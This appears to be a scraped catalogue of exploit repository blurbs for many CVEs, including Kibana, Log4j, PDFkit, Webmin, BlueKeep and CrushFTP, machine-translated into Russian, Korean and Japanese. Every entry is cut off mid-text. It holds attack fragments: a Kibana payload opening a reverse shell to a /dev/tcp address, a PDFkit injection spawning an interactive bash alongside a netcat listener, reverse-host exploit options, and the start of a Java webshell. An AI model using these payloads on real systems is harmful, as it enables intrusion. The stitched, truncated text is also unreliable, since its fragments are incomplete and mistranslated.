kibana-RCE

CVE-2019-7609 kibana-RCE & /dev/tcp/10.10.20.166/8989 0&1";process.exit//' .propslabel.proto.env.NODEOPTIONS='--require /proc/self/environ' 0x02 Нажмите Canvas, чтобы получить шелл...

CVE-2021-44228-Apache-Log4j-Rce

CVE-2021-44228Apache Log4j 원격 코드 실행） 모든 log4j-core 버전 =2.0-beta9 및 =2.14.1 1.x 버전에는 다른 취약점이 있습니다. 최신 버전으로 업데이트하는 것을 권장합니다. Log4ShellCVE-2021-44228 관련 보안 권고/게시판 사용법: 이 프로젝트를 다운로드하고, 익스플로잇 코드 blob/master/src/main/java/Exploit.java를 컴파일한 후, 컴파일된 바이너리를 다운로드할 수 있는 웹 서버를 시작하세요. git clone...

CVE-2024-4879-CVE-2024-5217-ServiceNow-RCE-Scanning

CVE-2024-4879-CVE-2024-5217-ServiceNow-RCE-Scanning CVE-2024-4879 & CVE-2024-5217 ServiceNow RCE 스캐닝 - Nuclei & Shodan Dork를 사용하여 찾기 리소스 취약점 정보 https://www.assetnote.io/resources/research/chaining-three-bugs-to-access-all-your-servicenow-data 사용법 nuclei -t...

CVE-2024-6782-PoC

CVE-2024-6782-PoC Usage: python3 callibre.py --target http://target:8080/ Неаутентифицированное удаленное выполнение кода через контент-сервер Calibre в версиях Calibre = 7.14.0...

CVE-2023-41425

CVE-2023-41425 CVE-2023-41425 XSS в RCE, Wonder CMS 3.2.0 = 3.4.2 Использование ➜ CVE-2023-41425 python3 exploit.py Enter target URL RHOST, e.g., http://example.com/loginURL: http://redacted.com/loginURL Enter your local host IP LHOST, e.g., 10.10.14.xxx: xx.xx.xx.xx Enter your local web server...

CVE-2024-3094-check

CVE-2024-3094 취약점 확인 도구 이 취약점은 공격자가 SSH 인증을 통과하지 않고 서버에 로그인하여 임의 코드를 실행할 수 있게 합니다. 자세한 내용은 다음을 참조하세요: https://www.openwall.com/lists/oss-security/2024/03/29/4 사용 방법 curl -fsSL https://raw.githubusercontent.com/wgetnz/CVE-2024-3094-check/main/CVE-2024-3094-check.sh| bash 또는 curl -fsSL...

Mitigate-CVE-2023-46747

CVE-2023-46747 완화를 위한 Ansible 플레이북 K000137353: BIG-IP 구성 유틸리티의 인증되지 않은 원격 코드 실행 취약점 CVE-2023-46747 다음은 링크입니다 https://my.f5.com/manage/s/article/K000137353 사용 방법 1. 내 저장소를 Git 클론하세요 https://github.com/maniak-academy/Mitigate-CVE-2023-46747.git 2. bigip 정보가 있으면 hosts.ini를 업데이트하세요. 3. 플레이북을 실행하세요...

CVE-2025-1974-poc

POC of IngressNightmare, RCE in Ingress NGINX CVE-2025-1974 開発元: https://github.com/zwxxb/CVE-2025-1974/blob/main/poc.py https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilitieshow-did-we-discover-ingressnightmare-24 謝辞 使用方法 forward the admission webhook kubectl port-forward -n...

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 詳細 説明 パッケージ pdfkit バージョン 0.0.0 以降 は、URL が適切にサニタイズされていないため、コマンドインジェクションに対して脆弱です。 PoC HTTP サーバーの起動 1- python3 -m http.server 80 netcat リスナーの起動 2- nc -lnvp 'Target Port' リクエストの送信 3- http://"TARGETADDRESS:Target PORT"//?name='%20bash -c 'exec bash -i...

CVE-2020-7247-exploit

CVE-2020-7247-exploit OpenSMTPD 6.4.0 - 6.6.1 リモートコード実行 PoC エクスプロイト 参照: https://www.openwall.com/lists/oss-security/2020/01/28/3 使用方法 python3 exploit.py 依存関係 pip3 install --user pwntools...

CVE-2019-15107

CVE-2019-15107 webmin 또는 minisever RCE 스크립트 사용법: v1.890에서 테스트되었으며, 이 백도어가 설치된 다른 webmin 버전에서도 작동해야 합니다. python3 webminrce.py -t http://10.11.1.88:10000 -l 172.16.1.3 -p 8888...

monstra_cms-3.0.4--getshell

monstracms-3.0.4--getshell monstracms-3.0.4 - загрузка с получением оболочки CVE-2018-17418 Анализ кода Code analysis: В строке 150 файла monstra\plugins\box\filesmanager\filesmanager.admin.php находится переменная forbiddentypes, используемая для черного списка. Продолжаем отслеживать эту...

CVE-2021-26814

CVE-2021-26814 Простой Python PoC для эксплуатации CVE-2021-26814 и получения RCE на Wazuh Manager v.4.0.0-4.0.3 через API-сервис. Для его запуска просто сделайте .py скрипт исполняемым и запустите его с необходимыми параметрами. PoC.py -h -user USERNAME -pwd PASSWORD -lip SRCIP -lport SRCPORT -t...

Remote-Code-Execution-RCE-Exploit-BlueKeep-CVE-2019-0708-PoC

BlueKeep Exploit Описание Этот репозиторий содержит эксплойт Proof-of-Concept PoC для уязвимости BlueKeep CVE-2019-0708, позволяющий удалённо выполнять код в системах Windows через протокол RDP. Структура каталогов /python : Эксплойт PoC для BlueKeep на Python. /java : Эксплойт PoC для BlueKeep н...

CVE-2016-10033

CVE-2016-10033 PHPMailer의 원격 코드 실행 취약점입니다. CVE-2016-10033에 대한 추가 정보: CVE-2016-10033 위키...

Shiro_Xray

ShiroXray Gadget CommonsBeanutils1 CommonsCollectionsK1 CommonsCollectionsK2 Getshell 冰蝎 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import java.io.PrintWriter; import java.net.URLDecoder; import sun.misc.BASE64Decoder; public class 10837093162496 extends...

CVE-2022-23642

Sourcegraph Gitserver 3.37.0 RCE에 대한 PoC CVE-2022-23642 Sourcegraph 3.37.0 이전 버전에는 gitserver 서비스에 원격 코드 실행 취약점이 있습니다. 이는 git config 실행에 대한 제한이 없기 때문에 발생하며, 따라서 HTTP 인수에 "core.sshCommand"를 전달할 수 있고, 여기에는 임의의 bash 명령이 포함될 수 있습니다. 이 취약점은 gitserver가 공격자에게 노출된 경우에만 가능합니다. 이는 Sourcegraph 3.36.3에서...

CVE-2022-26134

CVE-2022-26134 -u URL, --url URL целевой URL -c COMMAND, --command COMMAND команда -i LHOST, --lhost LHOST адрес реверс-хоста -p LPORT, --lport LPORT порт реверс-хоста -f FILE, --file FILE массовое сканирование...

CVE-2024-50379-POC

CVE-2024-50379-POC 이 저장소는 CVE-2024-50379 를 악용하기 위해 설계된 Python 스크립트를 포함합니다. 이 취약점은 공격자가 취약한 서버에 JSP 셸을 업로드하고 원격으로 임의의 명령을 실행할 수 있게 합니다. 이 익스플로잇은 대상 서버의 /uploads 디렉토리가 보호되지 않거나 존재하지 않을 때 특히 유용합니다. 개요 CVE-2024-50379 는 파일 업로드를 부적절하게 처리하는 서버에 영향을 미치는 취약점으로, 공격자가 JSP 셸을 업로드할 수 있게 합니다. 이 셸은 이후 원격으로 임의의...

CVE-2024-4040

CVE-2024-4040 Уязвимость внедрения шаблонов на стороне сервера в CrushFTP во всех версиях до 10.7.1 и 11.1.0 на всех платформах позволяет неаутентифицированным удаленным злоумышленникам читать файлы из файловой системы за пределами VFS Sandbox, обходить аутентификацию для получения...